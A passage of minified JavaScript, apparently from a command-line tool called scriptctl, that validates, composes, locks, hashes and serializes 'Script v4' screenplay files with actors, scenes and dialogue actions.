I&&o("v3_field",`${U}.state_id`,"Script v4 scene references use state_ids"),M.has(C)&&o("dup_asset_ref",`${U}.${k}`,`duplicate ${A} ref ${C}`),M.add(C),r.get(C)!==A&&o("asset_ref",`${U}.${k}`,`${A} ${C} not found`);let R=d(C,I.state_ids,`${U}.state_ids`);A==="actor"&&_.set(C,new Set(R))})};if(x(g.actors,"actor","actor_id",`${h}.actors`),x(g.props,"prop","prop_id",`${h}.props`),!yn(g.actions)){o("actions",`${h}.actions`,"actions must be an array");return}g.actions.forEach((E,A)=>{let k=`${h}.actions[${A}]`;if(!tt(E)){o("action",k,"action must be an object");return}if(V("action",E.action_id)?(f.has(E.action_id)&&o("dup_action_id",`${k}.action_id`,`duplicate action_id ${E.action_id}`),f.add(E.action_id)):o("action_id",`${k}.action_id`,"action_id must be ac plus six Base58 characters"),(!de(E.type)||!Tn.includes(E.type))&&o("action_type",`${k}.type`,`invalid action type ${String(E.type)}`),de(E.content)||o("content",`${k}.content`,"content must be a string"),"emotion"in E&&o("v3_field",`${k}.emotion`,"Script v4 does not allow emotion"),$i(E.extend,`${k}.extend`,o),E.type==="dialogue"||E.type==="inner_thought")if(E.parenthetical!==void 0&&!de(E.parenthetical)&&o("parenthetical",`${k}.parenthetical`,"parenthetical must be a string"),!tt(E.speaker))o("speaker",`${k}.speaker`,"dialogue/inner_thought requires a speaker");else if(de(E.speaker.actor_id)){("kind"in E.speaker||"label"in E.speaker)&&o("speaker_shape",`${k}.speaker`,"actor speaker cannot contain non-actor speaker fields");let M=E.speaker.actor_id;(!V("actor",M)||r.get(M)!=="actor")&&o("speaker_actor",`${k}.speaker.actor_id`,`actor ${M} not found`);let I=_.get(M),O=s.get(M),U=de(E.speaker.state_id)&&O?.has(E.speaker.state_id)?E.speaker.state_id:void 0,C=O?.has("default")?"default":O?.values().next().value,R=U?[U]:C?[C]:[],K=V("scene",g.scene_id)&&V("actor",M)&&R.length>0?`scriptctl scene-ref ${g.scene_id} ${M} ${R.map(Z=>`--state ${Z}`).join(" ")} -p "$SCRIPT"`:void 0;if(I||o("actor_not_in_scene",`${k}.speaker.actor_id`,`actor ${M} is not referenced by this scene`,K),E.speaker.state_id!==void 0&&(!de(E.speaker.state_id)||!I?.has(E.speaker.state_id))){let Z=U?[...new Set([...I??[],U])].sort():[],Re=V("scene",g.scene_id)&&V("actor",M)&&Z.length>0?`scriptctl scene-ref ${g.scene_id} ${M} ${Z.map(ie=>`--state ${ie}`).join(" ")} -p "$SCRIPT"`:K;o("speaker_state",`${k}.speaker.state_id`,`speaker state ${String(E.speaker.state_id)} is not in this scene's actor state_ids`,Re)}}else de(E.speaker.kind)?(("actor_id"in E.speaker||"state_id"in E.speaker)&&o("speaker_shape",`${k}.speaker`,"non-actor speaker cannot contain actor speaker fields"),Vn.includes(E.speaker.kind)||o("speaker_kind",`${k}.speaker.kind`,"invalid non-actor speaker kind"),E.speaker.label!==void 0&&!de(E.speaker.label)&&o("speaker_label",`${k}.speaker.label`,"speaker label must be a string")):o("speaker",`${k}.speaker`,"speaker needs actor_id or kind");else"parenthetical"in E&&o("parenthetical_type",`${k}.parenthetical`,"parenthetical only belongs to speaking actions"),"speaker"in E&&o("speaker_type",`${k}.speaker`,"speaker only belongs to speaking actions");if(E.transition_prompt!==void 0){let M=E.transition_prompt;!tt(M)||!de(M.target)||!de(M.process)||M.process===""||!de(M.contrast)||M.contrast===""?o("transition_prompt",`${k}.transition_prompt`,"transition_prompt requires non-empty target/process/contrast"):r.has(M.target)||o("transition_target",`${k}.transition_prompt.target`,`asset ${M.target} not found`)}}),Ts(g.actions,`${h}.actions`,o)})}):o("episodes","$.episodes","episodes must be an array"),{ok:t.length===0,errors:t,warnings:n}}function Zo(e,t=new Set,n){try{return n?vr(e,t,n):vr(e,t)}catch(o){throw o?.code!==Tc?o:new S(`Could not generate an unused ${e} ID.`,{exitCode:b,errorCode:"ID_SPACE_RETRY_EXHAUSTED",hint:"Retry the command. If this persists, inspect the configured ID generator."})}}function Ae(e,t=[]){throw new S(e,{exitCode:b,errorCode:"CREATIVE_DRAFT_INVALID",hint:"Use the readable creative draft schema; do not include Script IDs or .scriptctl syntax.",data:{actual:t.map(String)}})}function Gn(e){return e!==null&&typeof e=="object"&&!Array.isArray(e)}function q(e,t=""){return String(e??"").replace(/\s+/gu," ").trim()||t}function Zw(e,t){let n=Number(e);return(!Number.isSafeInteger(n)||n<1)&&Ae(`${t} must be a positive integer.`,[e]),n}function Ww(e){return e===void 0?{}:(Gn(e)||Ae("Action extensions must be an object."),structuredClone(e))}function Xw(e){let t=new Set;for(let n of e.actors){t.add(n.actor_id);for(let o of n.states)t.add(o.state_id)}for(let n of e.locations){t.add(n.location_id);for(let o of n.states)t.add(o.state_id)}for(let n of e.props){t.add(n.prop_id);for(let o of n.states)t.add(o.state_id)}for(let n of e.episodes){t.add(n.episode_id);for(let o of n.scenes){t.add(o.scene_id);for(let i of o.actions)t.add(i.action_id)}}return t}function ho(e,t,n){for(let o=0;o<128;o+=1){let i=vu.createHash("sha256").update(`${e}:${t}:${o}`).digest(),r="";for(let c=0;c<6;c+=1)r+=Ti[i[c]%Ti.length];let s=`${Vi[e]}${r}`;if(!n.has(s))return n.add(s),s}Ae(`Could not allocate a stable ${e} ID.`)}function e_(e){let t=q(e).match(/^(\d+):([0-5]\d)(?:\.(\d{1,3}))?$/u);return t?(Number(t[1])*60+Number(t[2]))*1e3+Number((t[3]??"").padEnd(3,"0")):null}function t_(e){return`${Math.floor(e/6e4)}:${String(Math.floor(e%6e4/1e3)).padStart(2,"0")}.${String(e%1e3).padStart(3,"0")}`}function n_(e){let t=Number(e.extend?.duration_ms??e.extend?.rewrite_duration_ms);return Number.isFinite(t)&&t>0?Math.round(t):1200}function o_(e){let t=0;for(let n of e.scenes.flatMap(o=>o.actions))t=(e_(n.extend?.timestamp)??t)+n_(n);return t}function Ou(e){return e===void 0?[]:((!Array.isArray(e)||!e.every(Gn))&&Ae("Asset variants must be an array of readable objects."),e)}function i_(e,t){let n=e.assets;if(n===void 0)return[];Gn(n)||Ae("assets must be an object.");let o=n[t];return o===void 0?[]:((!Array.isArray(o)||!o.every(Gn))&&Ae(`assets.${t} must be an array.`),o)}function r_(e,t){return e==="actors"?t.actor_name:e==="locations"?t.location_name:t.prop_name}function s_(e,t){return e[t]}function a_(e,t){return[r_(e,t),...t.aliases??[]].map(lt)}function Ru(e,t,n){let o=lt(n);return i_(e,t).find(i=>[i.name,...Array.isArray(i.aliases)?i.aliases:[]].map(r=>lt(q(r))).includes(o))??null}function Mu(e,t){if(!e)return null;let n=lt(t);return Ou(e.variants).find(o=>{let i=lt(q(o.name));return i===n||["default","\u9ED8\u8BA4"].includes(n)&&["default","\u9ED8\u8BA4"].includes(i)})??null}function Lu(e,t,n){let o=Mu(e,n),i=q(o?.description);return(!o||!i)&&Ae(`${t}/${n} is a new variant and requires a readable assets declaration with a self-contained description.`),o}function c_(e,t){let n=q(t?.name);return n&&!["default","\u9ED8\u8BA4"].includes(lt(n))?n:e==="actors"?"\u57FA\u7840\u9020\u578B":e==="locations"?"\u5E38\u89C4\u5E03\u7F6E":"\u57FA\u7840\u5916\u89C2"}function d_(e,t,n,o,i,r){let s=Ru(t,n,o);s||Ae(`${o} is not an existing ${n} asset and has no readable declaration.`);let c=q(s.name,o),a=Ou(s.variants),d=Mu(s,"\u9ED8\u8BA4")??a[0]??null;n==="actors"&&!q(s.description)&&Ae(`${c} requires an identity description separate from its appearance variants.`),n==="actors"&&!q(d?.description)&&Ae(`${c} requires its first variant to provide a self-contained base appearance description.`);let p=[{state_id:"default",state_name:c_(n,d),description:q(d?.description,q(s.description,`${c}\u7684\u57FA\u7840\u53C2\u8003\u5916\u89C2\u3002`))}];for(let u of a){let y=q(u.name);if(u===d||!y||["default","\u9ED8\u8BA4"].includes(lt(y)))continue;let m=ho("state",`${n}:${c}:${y}`,i);p.push({state_id:m,state_name:y,description:q(Lu(s,c,y).description)}),r.states.push(`${c}/${y}`)}let l={aliases:Array.isArray(s.aliases)?[...new Set(s.aliases.map(u=>q(u)).filter(u=>u&&u!==c))]:[],importance:s.importance==="background"?"background":"featured",description:q(s.description,`${c}\u7684\u57FA\u7840\u8BBE\u5B9A\u3002`),states:p};if(n==="actors"){let u={...l,actor_id:ho("actor",c,i),actor_name:c,...s.roleType==="\u4E3B\u89D2"||s.roleType==="\u914D\u89D2"?{role_type:s.roleType}:{}};return e.actors.push(u),r.actors.push(c),u}if(n==="locations"){let u={...l,location_id:ho("location",c,i),location_name:c};return e.locations.push(u),r.locations.push(c),u}let f={...l,prop_id:ho("prop",c,i),prop_name:c};return e.props.push(f),r.props.push(c),f}function $s(e,t,n,o,i,r){let s=q(o);s||Ae(`${n} reference requires a readable name.`);let c=lt(s);return s_(e,n).find(d=>a_(n,d).includes(c))??d_(e,t,n,s,i,r)}function Or(e,t,n,o,i,r){let s=q(t,"\u9ED8\u8BA4"),c=lt(s),a=e.states.find(u=>lt(u.state_name)===c||u.state_id==="default"&&["default","\u9ED8\u8BA4"].includes(c));if(a)return a.state_id;let d="actor_name"in e?e.actor_name:"location_name"in e?e.location_name:e.prop_name,p=Ru(n,o,d),l=Lu(p,d,s),f={state_id:ho("state",`${d}:${s}`,i),state_name:s,description:q(l.description)};return e.states.push(f),r.states.push(`${d}/${s}`),f.state_id}function bu(e,t){return e===void 0?[]:((!Array.isArray(e)||!e.every(Gn))&&Ae(`${t} must be an array of readable references.`),e)}function Vs(e,t,n){let o=structuredClone(e);for(let i of t){let r=o.find(s=>n(s)===n(i));r?r.state_ids=[...new Set([...r.state_ids,...i.state_ids])].sort():o.push(structuredClone(i))}return o}function p_(e,t){return!!(e&&e.location?.location_id&&t.location?.location_id&&e.location.location_id===t.location.location_id&&q(e.environment?.space)===q(t.environment?.space)&&q(e.environment?.time)===q(t.environment?.time))}function l_(e,t,n,o,i,r,s,c){(!Array.isArray(e)||e.length===0||!e.every(Gn))&&Ae("scene.actions must contain at least one readable Action.");let a=structuredClone(o),d=r;return{actions:e.map((l,f)=>{let u=q(l.type,"action");["action","transition","dialogue","inner_thought"].includes(u)||Ae(`Action ${f+1} has an unsupported type.`,[u]);let y=q(l.content);y||Ae(`Action ${f+1} has empty content.`);let m=Math.max(400,Math.min(8e3,Math.round(Number(l.durationMs)||Number(l.weight||1)*1200))),g=Ww(l.extensions);g.timestamp=t_(d),g.duration_ms=m,g.rewrite_duration_ms!==void 0&&(g.rewrite_duration_ms=m);let w={action_id:ho("action",`${i}:${f+1}:${y}`,s),type:u,content:y,extend:g};if(d+=m,u==="action"||u==="transition")return w;let h=q(l.speaker);h||Ae(`Action ${f+1} requires a speaker.`);let _=h.replace(/[.*+?^${}()|[\]\\]/gu,"\\$&");new RegExp(`^${_}\\s*[:\uFF1A]`,"iu").test(y)&&Ae(`Action ${f+1} repeats the speaker name in dialogue content.`),/^(?:“[^”]+”|「[^」]+」|『[^』]+』|"[^"]+")$/u.test(y)&&Ae(`Action ${f+1} wraps dialogue content in quotation marks.`);let x=lt(h);if(["\u65C1\u767D","narrator"].includes(x))return{...w,speaker:{kind:"broadcast",label:"\u65C1\u767D"},...q(l.parenthetical)?{parenthetical:q(l.parenthetical)}:{}};if(["\u753B\u5916\u97F3","offscreen"].includes(x))return{...w,speaker:{kind:"offscreen",label:"\u753B\u5916\u97F3"},...q(l.parenthetical)?{parenthetical:q(l.parenthetical)}:{}};let E=$s(t,n,"actors",h,s,c),A=q(l.speakerVariant),k=a.find(M=>M.actor_id===E.actor_id),N;if(A)N=Or(E,A,n,"actors",s,c),k?k.state_ids=[...new Set([...k.state_ids,N])].sort():a.push({actor_id:E.actor_id,state_ids:[N]});else if(!k){let M=Or(E,"\u9ED8\u8BA4",n,"actors",s,c);a.push({actor_id:E.actor_id,state_ids:[M]})}return{...w,speaker:{actor_id:E.actor_id,...N?{state_id:N}:{}},...q(l.parenthetical)?{parenthetical:q(l.parenthetical)}:{}}}),actorRefs:a}}function Nu(e,t){(!Gn(t)||t.version!==1)&&Ae("Creative draft version must be 1."),(!Gn(t.episode)||!Gn(t.scene))&&Ae("Creative draft requires episode and scene objects.");let n=structuredClone(t),o=n.episode,i=n.scene,r=structuredClone(e),s=Xw(r),c={actors:[],locations:[],props:[],states:[]},a=Zw(o.number,"episode.number");a>r.episodes.length+1&&Ae("Episodes must be composed in order.",[a]);let d=r.episodes[a-1];d?(q(d.title)||(d.title=q(o.title,`\u7B2C ${a} \u96C6`)),q(d.synopsis)||(d.synopsis=q(o.synopsis,`\u7B2C ${a} \u96C6\u5267\u60C5\u3002`))):(d={episode_id:ho("episode",`episode:${a}`,s),title:q(o.title,`\u7B2C ${a} \u96C6`),synopsis:q(o.synopsis,`\u7B2C ${a} \u96C6\u5267\u60C5\u3002`),scenes:[]},r.episodes.push(d));let p=$s(r,n,"locations",i.location,s,c),l=Or(p,i.locationVariant,n,"locations",s,c),f=bu(i.actors,"scene.actors").map(I=>{let O=$s(r,n,"actors",I.name,s,c);return{actor_id:O.actor_id,state_ids:[Or(O,I.variant,n,"actors",s,c)]}}),u=Vs([],f,I=>I.actor_id),y=bu(i.props,"scene.props").map(I=>{let O=$s(r,n,"props",I.name,s,c);return{prop_id:O.prop_id,state_ids:[Or(O,I.variant,n,"props",s,c)]}}),m=Vs([],y,I=>I.prop_id),g=d.scenes.at(-1),w={scene_id:ho("scene",`episode:${a}:scene:${d.scenes.length+1}:${q(i.title)}`,s),environment:{space:q(i.space,"interior"),time:q(i.time,"day")},location:{location_id:p.location_id,state_ids:[l]},actors:u,props:m,actions:[],extend:{scene_title:q(i.title,`\u7B2C ${d.scenes.length+1} \u573A`)}},h=q(i.boundary,"auto");["auto","new","continue"].includes(h)||Ae("scene.boundary must be auto, new, or continue.");let _=p_(g,w);h==="continue"&&!_&&Ae("scene.boundary=continue requires the same location, space, and time as the previous scene.");let x=h!=="new"&&_,E=x&&g?g:w,A=x?d.scenes.length:d.scenes.length+1,k=Vs(E.actors,w.actors,I=>I.actor_id),N=l_(i.actions,r,n,k,E.scene_id,o_(d),s,c);E.actors=N.actorRefs,E.props=Vs(E.props,w.props,I=>I.prop_id),E.location&&w.location&&(E.location.state_ids=[...new Set([...E.location.state_ids,...w.location.state_ids])].sort()),E.actions.push(...N.actions),x||d.scenes.push(E);let M=Pe(r);return M.ok||Ae("Composed screenplay does not pass Script v4 validation.",M.errors.slice(0,12).map(I=>`${I.path}: ${I.message}`)),{script:r,validation:M,episodeNumber:a,sceneNumber:A,sceneId:E.scene_id,actionIds:N.actions.map(I=>I.action_id),joinedPreviousScene:x,created:c}}function Qe(e){return e!==null&&typeof e=="object"&&!Array.isArray(e)}function wn(e,t){return e[t]===void 0||typeof e[t]=="string"}function $c(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every($c):Qe(e)&&Object.values(e).every($c)}function Di(e){return e.extend===void 0||Qe(e.extend)&&Object.values(e.extend).every($c)}function Dc(e){return e==="default"||V("state",e)}function u_(e){return Qe(e)&&Dc(e.state_id)&&typeof e.state_name=="string"&&typeof e.description=="string"&&Di(e)}function Gc(e){return typeof e.importance=="string"&&Pt.has(e.importance)&&typeof e.description=="string"&&(e.aliases===void 0||Array.isArray(e.aliases)&&e.aliases.every(t=>typeof t=="string"))&&Array.isArray(e.states)&&e.states.every(u_)&&Di(e)}function f_(e){return Qe(e)&&V("actor",e.actor_id)&&typeof e.actor_name=="string"&&(e.role_type===void 0||typeof e.role_type=="string"&&mo.has(e.role_type))&&Gc(e)}function m_(e){return Qe(e)&&V("location",e.location_id)&&typeof e.location_name=="string"&&Gc(e)}function g_(e){return Qe(e)&&V("prop",e.prop_id)&&typeof e.prop_name=="string"&&Gc(e)}function Bc(e){return Array.isArray(e)&&e.every(Dc)}function h_(e){return Qe(e)&&V("actor",e.actor_id)&&Bc(e.state_ids)}function y_(e){return Qe(e)&&V("location",e.location_id)&&Bc(e.state_ids)}function w_(e){return Qe(e)&&V("prop",e.prop_id)&&Bc(e.state_ids)}function __(e){return V("actor",e.actor_id)&&(e.state_id===void 0||Dc(e.state_id))}function E_(e){return typeof e.kind=="string"&&qo.has(e.kind)&&wn(e,"label")}function x_(e){return!(!Qe(e)||!V("action",e.action_id)||typeof e.type!="string"||!qt.has(e.type)||typeof e.content!="string"||!wn(e,"parenthetical")||!Di(e)||(e.type==="dialogue"||e.type==="inner_thought")&&(!Qe(e.speaker)||!__(e.speaker)&&!E_(e.speaker))||e.transition_prompt!==void 0&&(!Qe(e.transition_prompt)||!V("actor",e.transition_prompt.target)&&!V("location",e.transition_prompt.target)&&!V("prop",e.transition_prompt.target)||typeof e.transition_prompt.process!="string"||typeof e.transition_prompt.contrast!="string"))}function S_(e){return!(!Qe(e)||!V("scene",e.scene_id)||!Array.isArray(e.actors)||!e.actors.every(h_)||!Array.isArray(e.props)||!e.props.every(w_)||!Array.isArray(e.actions)||!e.actions.every(x_)||!Di(e)||e.location!==null&&!y_(e.location)||e.environment!==void 0&&(!Qe(e.environment)||!wn(e.environment,"space")||!wn(e.environment,"time")))}function I_(e){return Qe(e)&&V("episode",e.episode_id)&&wn(e,"title")&&wn(e,"synopsis")&&Array.isArray(e.scenes)&&e.scenes.every(S_)&&Di(e)}function A_(e){return Qe(e)&&e.version===4&&typeof e.title=="string"&&typeof e.worldview=="string"&&typeof e.style=="string"&&wn(e,"worldview_raw")&&wn(e,"synopsis")&&wn(e,"logline")&&wn(e,"theme")&&(e.main_characters===void 0||Array.isArray(e.main_characters)&&e.main_characters.every(t=>Qe(t)&&typeof t.name=="string"&&typeof t.role=="string"))&&Array.isArray(e.actors)&&e.actors.every(f_)&&Array.isArray(e.locations)&&e.locations.every(m_)&&Array.isArray(e.props)&&e.props.every(g_)&&Array.isArray(e.episodes)&&e.episodes.every(I_)&&Di(e)}function Gi(e){let t=Pe(e);if(t.ok)return e;throw new S("The local file is not a valid Script v4 document.",{exitCode:b,errorCode:"SCRIPT_V4_INVALID",hint:"Run `scriptctl validate --script-path <path>` and repair the reported v4 fields.",data:{expected:["A valid Script v4 document"],actual:t.errors.slice(0,20).map(n=>`${n.path}: ${n.message}`)}})}function _n(e){if(A_(e))return e;throw new S("The local file is not a structurally readable Script v4 document.",{exitCode:b,errorCode:"SCRIPT_V4_SHAPE_INVALID",hint:"Repair the local Script v4 structure, then rerun the command.",data:{expected:["Script v4 with typed assets, episodes, scenes, references, and actions"],actual:[Array.isArray(e)?"array":typeof e]}})}import*as Rr from"node:crypto";import*as $e from"node:fs";import*as Ct from"node:path";import k_ from"proper-lockfile";function Kc(e){if(Array.isArray(e))return e.map(Kc);if(e!==null&&typeof e=="object"){let t=e,n={};for(let o of Object.keys(t).sort())n[o]=Kc(t[o]);return n}return e}function Je(e){let t=JSON.stringify(Kc(e));return`sha256:${Rr.createHash("sha256").update(t).digest("hex")}`}function Mr(e){return $e.existsSync(e)?`sha256:${Rr.createHash("sha256").update($e.readFileSync(e)).digest("hex")}`:null}function Lr(e,t){let n=Mr(e);if(n!==t)throw new S("The local script changed while the command was running.",{exitCode:b,errorCode:"LOCAL_SCRIPT_CHANGED",hint:"Read the latest local script and retry the command.",data:{actual:[`loadedFingerprint=${t??"<missing>"}`,`currentFingerprint=${n??"<missing>"}`,e]}})}function Nr(e){let t=Ct.resolve(e),n=Ct.join(Ct.dirname(t),".scriptctl"),o=Ct.basename(t);return{scriptPath:t,stateDir:n,metadataPath:Ct.join(n,`${o}.working-copy.json`),lockPath:Ct.join(n,o)}}async function Ds(e,t){let n=Nr(e);$e.mkdirSync(n.stateDir,{recursive:!0});let o=null;try{o=await k_.lock(n.lockPath,{realpath:!1,stale:12e4,update:1e4,retries:{retries:260,factor:1,minTimeout:500,maxTimeout:500}})}catch(i){throw new S("Timed out waiting for the script file lock.",{exitCode:X,errorCode:"WORKING_COPY_LOCK_TIMEOUT",hint:"Wait for the other scriptctl command to finish, then retry.",data:{actual:[n.scriptPath,i instanceof Error?i.message:String(i)]}})}try{return await t()}finally{await o()}}function Fe(e,t){Gs(e,`${JSON.stringify(t,null,2)}
123
- `)}function Gs(e,t){let n=Ct.dirname(e);$e.mkdirSync(n,{recursive:!0});let o=Ct.join(n,`.${Ct.basename(e)}.${process.pid}.${Rr.randomUUID()}.tmp`),i=$e.openSync(o,"wx");try{$e.writeFileSync(i,t,"utf-8"),$e.fsyncSync(i)}finally{$e.closeSync(i)}$e.renameSync(o,e)}function Bs(e){let t=Nr(e).metadataPath;if(!$e.existsSync(t))return null;let n;try{n=JSON.parse($e.readFileSync(t,"utf-8"))}catch(i){throw Jc(t,i instanceof Error?i.message:String(i))}if(n===null||typeof n!="object"||Array.isArray(n))throw Jc(t,"metadata root must be an object");let o=n;if(o.schemaVersion!==1||typeof o.projectGroupNo!="string"||o.projectGroupNo.length===0||typeof o.apiBaseUrl!="string"||o.apiBaseUrl.length===0||!Number.isInteger(o.baseRevision)||Number(o.baseRevision)<0||typeof o.baseContentHash!="string"||!o.baseContentHash.startsWith("sha256:"))throw Jc(t,"required fields are missing or invalid");return{schemaVersion:1,projectGroupNo:o.projectGroupNo,apiBaseUrl:o.apiBaseUrl,baseRevision:Number(o.baseRevision),baseContentHash:o.baseContentHash}}function Js(e,t){Fe(Nr(e).metadataPath,t)}function Jc(e,t){return new S("Working copy metadata is invalid.",{exitCode:b,errorCode:"WORKING_COPY_METADATA_INVALID",hint:"Run `scriptctl checkout --discard-local` to recreate the working copy metadata.",data:{expected:["valid scriptctl working-copy metadata"],actual:[e,t]}})}function Gt(e,t){let n;try{n=JSON.parse($e.readFileSync(e,"utf-8"))}catch(i){throw new S("The local script changed while the command was running.",{exitCode:b,errorCode:"LOCAL_SCRIPT_CHANGED",hint:"Read the latest local script and re-apply the operation.",data:{actual:[e,i instanceof Error?i.message:String(i)]}})}let o=Je(n);if(o!==t)throw new S("The local script changed while the command was running.",{exitCode:b,errorCode:"LOCAL_SCRIPT_CHANGED",hint:"Read the latest local script and re-apply the operation.",data:{actual:[`loadedHash=${t}`,`currentHash=${o}`,e]}})}function v(e){return e==null?"":String(e)}function oe(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function Bn(e){return Array.isArray(e)}function re(e){return Array.isArray(e)?e:[]}function jc(e,t=[]){throw new S(e,{exitCode:B,errorCode:"CREATIVE_DRAFT_USAGE_INVALID",hint:"Run `scriptctl authoring compose <draft.json> --script-path <script.json>` and apply the returned plan digest.",data:{actual:t}})}function Uu(e,t){let n=Tu.resolve(e),o;try{o=Cu.readFileSync(n)}catch{throw new S(`${t} does not exist.`,{exitCode:b,errorCode:"CREATIVE_DRAFT_SOURCE_UNAVAILABLE",data:{actual:[n]}})}try{return{path:n,bytes:o,value:JSON.parse(o.toString("utf-8"))}}catch(i){throw new S(`${t} is not valid JSON.`,{exitCode:b,errorCode:"CREATIVE_DRAFT_JSON_INVALID",data:{actual:[n,i instanceof Error?i.message:String(i)]}})}}function Vu(e){let t=Array.isArray(e._args)?e._args:[],n=typeof t[0]=="string"?t[0]:"";(!n||n==="-")&&jc("Creative draft input must be a named JSON file.",[n||"<missing>"]);let o=Uu(n,"The creative draft"),i=me(e),r=Uu(i,"The target Script v4 file"),s=_n(r.value),c=Je(s),a=Nu(s,o.value),d=`sha256:${Pu.createHash("sha256").update(o.bytes).digest("hex")}`,p={version:1,op:"compose",sourceDigest:d,baseline:c,proposed:Je(a.script),episodeNumber:a.episodeNumber,sceneNumber:a.sceneNumber,sceneId:a.sceneId,actionIds:a.actionIds,joinedPreviousScene:a.joinedPreviousScene,created:a.created},l=`sha256:${_e(JSON.stringify(p))}`,f=e.apply===!0,u=v(e.plan).trim();if(f&&!u&&jc("--apply requires the exact digest returned by the current plan.",["plan=<missing>"]),!f&&u&&jc("--plan is only valid together with --apply.",[`plan=${u}`]),f&&u!==l)throw new S("The supplied plan does not match the current draft or script baseline.",{exitCode:b,errorCode:"CREATIVE_DRAFT_PLAN_MISMATCH",hint:"Review the newly computed plan, then apply its exact digest.",data:{expected:[l],actual:[u]}});return f&&(Gt(i,c),Fe(i,a.script)),[{text:[`${f?"Applied":"Planned"} readable scene draft as episode ${a.episodeNumber}, scene ${a.sceneNumber}${a.joinedPreviousScene?" (joined previous scene)":""}`,`plan: ${l}`].join(`
124
- `),data:{op:"compose",applied:f,source_path:o.path,source_digest:d,script_path:i,baseline:c,plan_digest:l,episode_number:a.episodeNumber,scene_number:a.sceneNumber,scene_id:a.sceneId,action_ids:a.actionIds,joined_previous_scene:a.joinedPreviousScene,created:a.created,validation:a.validation}},G]}import*as Qu from"node:fs";import*as Fu from"node:path";var Zt={line:1,column:1};function b_(e){let t=[];for(let n of e.actors){let o=structuredClone(n);o.states=[],t.push({declarationKind:"actor",value:o,source:Zt});for(let i of n.states)t.push(zc("actor",n.actor_id,i))}for(let n of e.locations){let o=structuredClone(n);o.states=[],t.push({declarationKind:"location",value:o,source:Zt});for(let i of n.states)t.push(zc("location",n.location_id,i))}for(let n of e.props){let o=structuredClone(n);o.states=[],t.push({declarationKind:"prop",value:o,source:Zt});for(let i of n.states)t.push(zc("prop",n.prop_id,i))}return t}function zc(e,t,n){return{declarationKind:"state",ownerKind:e,ownerId:t,value:structuredClone(n),source:Zt}}function $u(e){let t={kind:"script",title:e.title,worldview:e.worldview,style:e.style,episodes:structuredClone(e.episodes),source:Zt};return e.worldview_raw!==void 0&&(t.worldviewRaw=e.worldview_raw),e.synopsis!==void 0&&(t.synopsis=e.synopsis),e.logline!==void 0&&(t.logline=e.logline),e.theme!==void 0&&(t.theme=e.theme),e.main_characters!==void 0&&(t.mainCharacters=structuredClone(e.main_characters)),e.extend!==void 0&&(t.extend=structuredClone(e.extend)),{version:1,declarations:b_(e),targets:[t],targetKind:"script"}}function Bi(e,t){return{version:1,declarations:[],targets:t,targetKind:e}}function v_(e){return e.replace(/\\/g,"\\\\").replace(/\|/g,"\\|").replace(/\]/g,"\\]").replace(/\n/g,"\\n")}function O_(e){return e.replace(/\\/g,"\\\\").replace(/\n/g,"\\n")}function ue(e,t,n){let o=[e,...t].map(v_).join("|"),i=O_(n);return`[${o}]${i.length>0?` ${i}`:""}`}function Qc(e){if(Array.isArray(e))return e.map(Qc);if(e!==null&&typeof e=="object"){let t={};for(let n of Object.keys(e).sort())t[n]=Qc(e[n]);return t}return e}function Jn(e){return e===void 0?[]:[ue("extensions",[],""),...Object.keys(e).sort().map(t=>ue("extend",[t],JSON.stringify(Qc(e[t]))))]}function R_(e){return"actor_id"in e?e.state_id===void 0?e.actor_id:`${e.actor_id}/${e.state_id}`:e.label===void 0?e.kind:`${e.kind}:${e.label}`}function Du(e){let t=Jn(e.extend);if(e.transition_prompt!==void 0&&t.push(ue("prompt",[e.transition_prompt.target,e.transition_prompt.process,e.transition_prompt.contrast],"")),e.type==="dialogue"||e.type==="inner_thought"){let o=e.type==="dialogue"?"dlg":"think",i=[R_(e.speaker)];return e.emotion!==void 0&&i.push(e.emotion),t.push(ue(o,i,e.content)),t}let n=e.type==="action"?"act":"trans";return t.push(ue(n,e.emotion===void 0?[]:[e.emotion],e.content)),t}function Fc(e,t){let n=[...Jn(e.extend),`<scene ${t}>`];if(e.environment!==void 0&&(e.environment.time!==void 0?n.push(ue("environment",[e.environment.space??"",e.environment.time],"")):e.environment.space!==void 0?n.push(ue("environment",[e.environment.space],"")):n.push(ue("environment",[],""))),e.location===null)n.push(ue("location",[],""));else{let o=[e.location.location_id];e.location.state_id!==void 0&&o.push(e.location.state_id),n.push(ue("location",o,""))}for(let o of e.actors){let i=[o.actor_id];o.state_id!==void 0&&i.push(o.state_id),n.push(ue("cast",i,""))}for(let o of e.props){let i=[o.prop_id];o.state_id!==void 0&&i.push(o.state_id),n.push(ue("prop",i,""))}n.push("","<body>");for(let o of e.actions)n.push(...Du(o));return n.push("</body>","","</scene>"),n}function Hc(e){let t=[...Jn(e.extend),`<episode id=${e.episode_id}>`];return e.title!==void 0&&t.push(ue("title",[],e.title)),e.synopsis!==void 0&&t.push(ue("synopsis",[],e.synopsis)),(e.title!==void 0||e.synopsis!==void 0)&&e.scenes.length>0&&t.push(""),e.scenes.forEach((n,o)=>{t.push(...Fc(n,`id=${n.scene_id}`)),o<e.scenes.length-1&&t.push("")}),t.push("</episode>"),t}function M_(e){if(e.declarationKind==="state")return L_(e.ownerKind,e.ownerId,e.value);let t=e.value,n=Jn(t.extend);t.aliases!==void 0&&n.push(ue("aliases",[],""));for(let o of t.aliases??[])n.push(ue("alias",[],o));if(e.declarationKind==="actor"){let o=e.value,i=[o.actor_id,o.actor_name,o.importance];o.role_type!==void 0&&i.push(o.role_type),n.push(ue("actor",i,o.description))}else if(e.declarationKind==="location"){let o=e.value;n.push(ue("location",[o.location_id,o.location_name,o.importance],o.description))}else{let o=e.value;n.push(ue("prop",[o.prop_id,o.prop_name,o.importance],o.description))}return n}function L_(e,t,n){return[...Jn(n.extend),ue("state",[`${e}:${t}`,n.state_id,n.state_name],n.description)]}function N_(e){switch(e.kind){case"script":{let t=[...Jn(e.extend),"<script>"];if(t.push(ue("title",[],e.title)),t.push(ue("worldview",[],e.worldview)),e.worldviewRaw!==void 0&&t.push(ue("worldview-raw",[],e.worldviewRaw)),t.push(ue("style",[],e.style)),e.synopsis!==void 0&&t.push(ue("synopsis",[],e.synopsis)),e.logline!==void 0&&t.push(ue("logline",[],e.logline)),e.theme!==void 0&&t.push(ue("theme",[],e.theme)),e.mainCharacters!==void 0){t.push(ue("main-characters",[],""));for(let n of e.mainCharacters)t.push(ue("main-character",[n.name,n.role],""))}return 